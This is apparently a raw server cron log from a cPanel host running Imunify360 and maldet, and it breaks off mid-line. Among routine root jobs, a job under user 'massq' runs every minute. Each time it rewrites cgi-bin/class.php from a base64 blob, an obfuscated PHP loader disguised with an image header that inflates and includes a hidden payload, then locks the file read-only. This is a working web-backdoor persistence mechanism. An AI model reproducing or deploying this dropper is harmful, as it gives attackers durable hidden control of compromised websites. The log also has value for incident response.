Sep 11 02:09:01 server CROND[30682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:10:01 server CROND[31057]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 02:10:01 server CROND[31064]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 02:10:01 server CROND[31076]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:10:01 server CROND[31077]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:10:01 server CROND[31080]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 02:10:01 server CROND[31081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:10:01 server CROND[31084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:10:01 server CROND[31082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:11:01 server CROND[31914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:11:01 server CROND[31916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:11:01 server CROND[31915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:12:01 server CROND[32274]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 02:12:01 server CROND[32275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:12:01 server CROND[32273]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:12:01 server CROND[32283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:13:01 server CROND[32652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:13:01 server CROND[32653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:13:01 server CROND[32651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:14:01 server CROND[700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:14:01 server CROND[701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:14:01 server CROND[702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:15:01 server CROND[1133]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:15:01 server CROND[1134]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 02:15:01 server CROND[1137]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:15:01 server CROND[1151]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 02:15:01 server CROND[1153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:15:01 server CROND[1156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:15:01 server CROND[1154]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 02:15:01 server CROND[1157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:15:01 server CROND[1155]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 02:16:01 server CROND[2062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:16:01 server CROND[2063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:16:01 server CROND[2064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:17:01 server CROND[2424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:17:01 server CROND[2425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:17:01 server CROND[2426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:18:01 server CROND[2828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:18:01 server CROND[2829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:18:01 server CROND[2835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:19:01 server CROND[3322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:19:01 server CROND[3323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:19:01 server CROND[3324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:20:01 server CROND[3695]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 02:20:01 server CROND[3697]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 02:20:01 server CROND[3705]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 02:20:01 server CROND[3707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:20:01 server CROND[3704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:20:01 server CROND[3709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:20:01 server CROND[3710]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 02:20:01 server CROND[3708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 02:20:01 server CROND[3706]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 02:21:01 server CROND[4516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:21:01 server CROND[4515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:21:01 server CROND[4517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyh